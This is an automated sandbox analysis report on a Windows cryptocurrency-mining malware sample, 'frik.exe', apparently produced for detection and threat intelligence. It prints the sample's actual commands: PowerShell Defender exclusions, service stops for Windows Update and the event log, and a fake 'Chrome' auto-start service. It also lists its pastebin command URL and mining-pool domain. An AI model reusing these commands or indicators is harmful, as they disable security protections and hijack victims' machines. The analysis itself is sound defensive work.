Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
frik.exe

Overview

General Information

Sample name:frik.exe
Analysis ID:1528951
MD5:1a67a432e7ab0bcd2189f3f4142f2ae4
SHA1:168307b08e5c7a740d7dfcaa4be93e02f80e3fb9
SHA256:d19e4b7894fe7e6190d942c5718bb61b95b0ffd7380cb056891508ca6d163432
Tags:exegithub-com-fruktoozikuser-JAMESWT_MHT
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Stop EventLog
System process connects to network (likely due to code injection or exploit)
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Connects to a pastebin service (likely for C&C)
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies the context of a thread in another process (thread injection)
Modifies the hosts file
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious execution chain found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Electron Application Child Processes
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • frik.exe (PID: 7912 cmdline: "C:\Users\user\Desktop\frik.exe" MD5: 1A67A432E7AB0BCD2189F3F4142F2AE4)
    • powershell.exe (PID: 7964 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7188 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7456 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 7220 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7504 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7620 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2140 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 5996 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 4036 cmdline: C:\Windows\system32\sc.exe delete "Chrome" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 1496 cmdline: C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 5928 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 5884 cmdline: C:\Windows\system32\sc.exe start "Chrome" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • Chrome.exe (PID: 7976 cmdline: C:\ProgramData\Chrome.exe MD5: 1A67A432E7AB0BCD2189F3F4142F2AE4)
    • powershell.exe (PID: 6148 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4428 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 2832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 2044 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 3688 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2068 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8004 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7988 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8000 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • explorer.exe (PID: 7432 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    Process Memory Space: explorer.exe PID: 7432JoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

      Sigma Signatures

      System Summary

      barindex
      Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\frik.exe", ParentImage: C:\Users\user\Desktop\frik.exe, ParentProcessId: 7912, ParentProcessName: frik.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7964, ProcessName: powershell.exe
      Sigma detected: Powershell Defender Exclusion
      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\frik.exe", ParentImage: C:\Users\user\Desktop\frik.exe, ParentProcessId: 7912, ParentProcessName: frik.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7964, ProcessName: powershell.exe
      Sigma detected: Suspicious Electron Application Child Processes
      Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\ProgramData\Chrome.exe, ParentImage: C:\ProgramData\Chrome.exe, ParentProcessId: 7976, ParentProcessName: Chrome.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6148, ProcessName: powershell.exe
      Sigma detected: New Service Creation Using Sc.EXE
      Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\frik.exe", ParentImage: C:\Users\user\Desktop\frik.exe, ParentProcessId: 7912, ParentProcessName: frik.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto", ProcessId: 1496, ProcessName: sc.exe
      Sigma detected: Non Interactive PowerShell Process Spawned
      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\frik.exe", ParentImage: C:\Users\user\Desktop\frik.exe, ParentProcessId: 7912, ParentProcessName: frik.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7964, ProcessName: powershell.exe

      HIPS / PFW / Operating System Protection Evasion

      barindex
      Sigma detected: Stop EventLog
      Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\frik.exe", ParentImage: C:\Users\user\Desktop\frik.exe, ParentProcessId: 7912, ParentProcessName: frik.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 5928, ProcessName: sc.exe

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-10-08T14:02:31.502980+020020362892Crypto Currency Mining Activity Detected192.168.2.10626081.1.1.153UDP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for dropped file
      Source: C:\ProgramData\Chrome.exeReversingLabs: Detection: 76%
      Multi AV Scanner detection for submitted file
      Source: frik.exeReversingLabs: Detection: 76%
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

      Bitcoin Miner

      barindex
      Yara detected Xmrig cryptocurrency miner
      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
      Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 7432, type: MEMORYSTR
      Source: frik.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Chrome.exe, 0000001A.00000003.1452343957.000001DFF7940000.00000004.00000001.00020000.00000000.sdmp

      Software Vulnerabilities

      barindex
      Suspicious execution chain found
      Source: C:\ProgramData\Chrome.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

      Networking

      barindex
      System process connects to network (likely due to code injection or exploit)
      Source: C:\Windows\explorer.exeNetwork Connect: 95.179.241.203 443Jump to behavior
      Source: C:\Windows\explorer.exeNetwork Connect: 104.20.3.235 443Jump to behavior
      Connects to a pastebin service (likely for C&C)
      Source: unknownDNS query: name: pastebin.com
      Source: Joe Sandbox ViewIP Address: 95.179.241.203 95.179.241.203
      Source: Joe Sandbox ViewIP Address: 104.20.3.235 104.20.3.235
      Source: Joe Sandbox ViewIP Address: 104.20.3.235 104.20.3.235
      Source: Joe Sandbox ViewASN Name: AS-CHOOPAUS AS-CHOOPAUS
      Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
      Source: Network trafficSuricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.10:62608 -> 1.1.1.1:53
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficHTTP traffic detected: GET /raw/FBXiGyZ9 HTTP/1.1Accept: */*Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6
      Source: global trafficDNS traffic detected: DNS query: pool.hashvault.pro
      Source: global trafficDNS traffic detected: DNS query: pastebin.com
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
      Source: Chrome.exe, 0000001A.00000003.1452343957.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
      Source: Chrome.exe, 0000001A.00000003.1452343957.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/Root.crl0
      Source: Chrome.exe, 0000001A.00000003.1452343957.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
      Source: Chrome.exe, 0000001A.00000003.1452343957.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/primobject.crl0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
      Source: Chrome.exe, 0000001A.00000003.1452178844.000001DFF7940000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/FBXiGyZ9
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/FBXiGyZ9--cinit-stealth-targets=Taskmgr.exe
      Source: explorer.exe, 0000002B.00000003.1453948864.0000000000CE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/FBXiGyZ9Taskmgr.exe
      Source: frik.exe, 00000000.00000003.1400546339.00000172D6DE0000.00000004.00000001.00020000.00000000.sdmp, Chrome.exe, 0000001A.00000003.1451435960.000001DFF7950000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.drweb.ru/
      Source: frik.exe, 00000000.00000003.1400546339.00000172D6DE0000.00000004.00000001.00020000.00000000.sdmp, Chrome.exe, 0000001A.00000003.1451435960.000001DFF7950000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.kaspersky.ru/downloads/free-virus-removal-tool
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
      Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778

      Spam, unwanted Advertisements and Ransom Demands

      barindex
      Modifies the hosts file
      Source: C:\Users\user\Desktop\frik.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\System32\conhost.exeCode function: 42_2_0000000140001394 NtQueryAttributesFile,42_2_0000000140001394
      Source: C:\ProgramData\Chrome.exeFile created: C:\Windows\TEMP\lhaqmlexwhjs.sysJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_n0uexf0a.etd.ps1
      Source: C:\Windows\System32\conhost.exeCode function: 42_2_000000014000324042_2_0000000140003240
      Source: C:\Windows\System32\conhost.exeCode function: 42_2_00000001400027D042_2_00000001400027D0
      Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\lhaqmlexwhjs.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
      Source: frik.exeStatic PE information: invalid certificate
      Source: classification engineClassification label: mal100.troj.adwa.expl.evad.mine.winEXE@63/13@2/2
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2180:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6444:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1556:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1708:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2832:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6688:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7236:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8092:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8016:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7972:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_03
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkifkuij.mkj.ps1Jump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\explorer.exe
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\explorer.exeJump to behavior
      Source: frik.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
